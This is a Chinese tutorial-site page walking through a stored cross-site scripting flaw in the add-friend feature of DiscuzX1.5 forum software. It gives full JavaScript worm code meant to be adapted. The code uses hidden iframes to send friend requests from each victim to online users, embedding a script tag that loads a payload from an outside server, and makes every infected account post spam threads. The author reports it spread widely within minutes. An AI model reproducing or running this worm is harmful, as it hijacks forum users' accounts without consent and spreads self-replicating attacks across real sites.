您现在的位置是:首页 > cms教程 > Discuz教程Discuz教程
DiscuzX1.5利用添加好友处存储xss进行蠕虫worm扩散
听蓉2025-07-13Discuz教程已有人查阅
导读DiscuzX1.5在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散,位置在添加好友处x完之后的效果,点击后触发。
DiscuzX1.5在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散,位置在添加好友处x完之后的效果,点击后触发。
ok借助此存储xss,我们进行worm传播,dz的会话cookie是被打伤http-only的,但是xss的效果是获取你当前域下的用户会话的权限。这不干扰我们worm的进行。
step1:attacker发送带xss worm payload给用户a
step2:用户A点击后,自身作为宿主去添加其他人为好友,并且附带攻击payload
step3:被x的用户互相感染,成指数增长,为了验证,凡是被感染的用户都会被我们用js控制发一个帖子没code说个jb,worm代码如下你需要修改
1 urlBase 为你的想1.5 论坛基地址
2 存放xss的payload的地址
ok借助此存储xss,我们进行worm传播,dz的会话cookie是被打伤http-only的,但是xss的效果是获取你当前域下的用户会话的权限。这不干扰我们worm的进行。
step1:attacker发送带xss worm payload给用户a
step2:用户A点击后,自身作为宿主去添加其他人为好友,并且附带攻击payload
step3:被x的用户互相感染,成指数增长,为了验证,凡是被感染的用户都会被我们用js控制发一个帖子没code说个jb,worm代码如下你需要修改
1 urlBase 为你的想1.5 论坛基地址
2 存放xss的payload的地址
//code for xss test
//论坛的基地址
var urlBase = "http://forum.xxx.com";
var add= function(uid){
var ifBox = window['ifBox'] || (window['ifBox']={});
var uyk = (new Date()).getTime();
var ifFame = ifBox[uyk] =document.createElement("iframe");
ifFame.src=urlBase + "/home.php?mod=spacecp&ac=friend&op=add&uid="+uid;
ifFame.width=0;ifFame.height=0;
ifFame.onload = function(){
try{
//存放xss payload的地址
ifFame.contentDocument.getElementsByName("note")[0].value= 'hello<script src="http://xxx.xxx.xxx/js/dz.js"></script>';
ifFame.contentDocument.getElementById("addsubmit_btn").click();
ifFame=null;
}catch(err){
}
}
document.body.appendChild(ifFame);
}
var newThread = function(){
var if1 = document.createElement("iframe");
if1.src= urlBase+"/forum.php?mod=post&action=newthread&fid=21";
if1.width=0;if1.height=0;
if1.onload = function(){
var doc =if1.contentDocument;
doc.getElementById("subject").value = "哇卡卡卡~~~";
if1.contentDocument.getElementById("e_iframe").contentDocument.body.innerHTML =" _______________</br>< XSS Worm Test ></br> ---------------</br> \ ^__^</br> \ (oo)\_______</br> (__)\ )\/\</br> ||----w |</br> || ||</br>";
doc.getElementById("postsubmit").click();
if1.onload = function(){return false;}
}
document.body.appendChild(if1);
}
var if0 = document.createElement("iframe");
if0.src= urlBase + "/forum.php?showoldetails=yes#online";
if0.width=0;if0.height=0;
if0.onload = function(){
var uli =if0.contentDocument.getElementsByTagName("li");
for(var i = 0;i<uli.length;i++){
if(uli.title.length > 5){
var uid = uli.childNodes[3].href.substring(uli.childNodes[3].href.indexOf("uid=")+4);
var r = Math.round(Math.random() * 10);
// if(i%10 == r){
//轻点
newThread();
add(uid);
// }
}
}
}
document.body.appendChild(if0);
这里面又很多的坑包括js的异步加载,跨iframe的元素操作等等,希望对其他人能提供帮助,实际的worm效果是,20分钟内刷了30页,每页20篇的论坛帖子把。
本文标签:
很赞哦! ()
相关教程
图文教程
discuz伪静态设置方法教程
伪静态是一种将动态 URL 转换为静态 URL 的技术。在 Discuz 中设置伪静态的步骤包括:1. 安装伪静态模块;2. 根据系统类型(Nginx 或 Apache),修改服务器配置文件;
去掉Discuz论坛标题中Powered by Discuz的方法
找到如下的位置 根目录/template/default/common/找到 header_common.htm原来的代码一定记着把 - 去掉 要不你的浏览器在标题处还是出现,然后到后台里设置下。
Discuz支持大文件上传的实现方法
本篇文章给大家分享使discuz支持大文件上传的插件。5步轻松让Discuz支持500M大文件上传演示版本是discuz-x3.4
discuz怎么添加广告位?discuz自定义广告位的方法
自定义广告位方法可以在页面的任意位置添加广告位,系统广告位位于 source/class/adv/ 目录中,插件广告位位于 source/plugin/插件目录/adv/ 目录中。
相关源码
-
(自适应)绿色农业机械设备农场网站源码下载为现代农业机械领域打造的响应式网站模板,采用PbootCMS内核开发,数据实时同步后台管理。通过简洁大气的视觉设计,有效展示农机产品技术参数与应用场景,帮助客户快速建立专业数字化形象。查看源码 -
帝国cms7.5大型游戏资讯门户网站源码免费下载本模板基于帝国CMS7.5内核开发,为大型游戏资讯门户网站设计。模板自带响应式手机版,适配多种终端设备。内容架构针对游戏行业特点优化,支持游戏资讯、评测、攻略等内容类型的发布与管理。查看源码 -
帝国cms7.5个人博客资讯文章模板下载本模板简洁个人博客网站设计开发,采用帝国CMS内核构建,只需替换文字图片即可快速搭建专业网站。自适应手机端设计,数据实时同步,操作简单便捷。PHP程序确保安全稳定运行,帮助您以较低成本获取持续业务。查看源码 -
(自适应响应式)刷卡机POS机无线支付设备pbootcms网站源码下载本模板基于PbootCMS系统开发,为支付终端设备企业设计,特别适合POS机、移动支付终端、刷卡设备等金融科技产品展示。采用响应式布局技术,确保各类支付终端产品在不同设备查看源码 -
(PC+WAP)五金机械设备营销型模板下载带在线留言为机械设备制造商设计的营销型模板,集成产品参数对比系统、产品展示模块和询价管理功能。采用PbootCMS开发内核,PHP7+运行环境。手工编写语义化HTML5结构,CSS3动画优化交互体验。查看源码 -
HTML5响应式健身俱乐部pbootcms网站模板下载为健身俱乐部、瑜伽中心及运动场馆设计的响应式网站模板,采用PbootCMS内核开发,支持一键替换图文适配健身器材销售、瑜伽工作室等多类型运动健康产业。查看源码
| 分享笔记 (共有 篇笔记) |
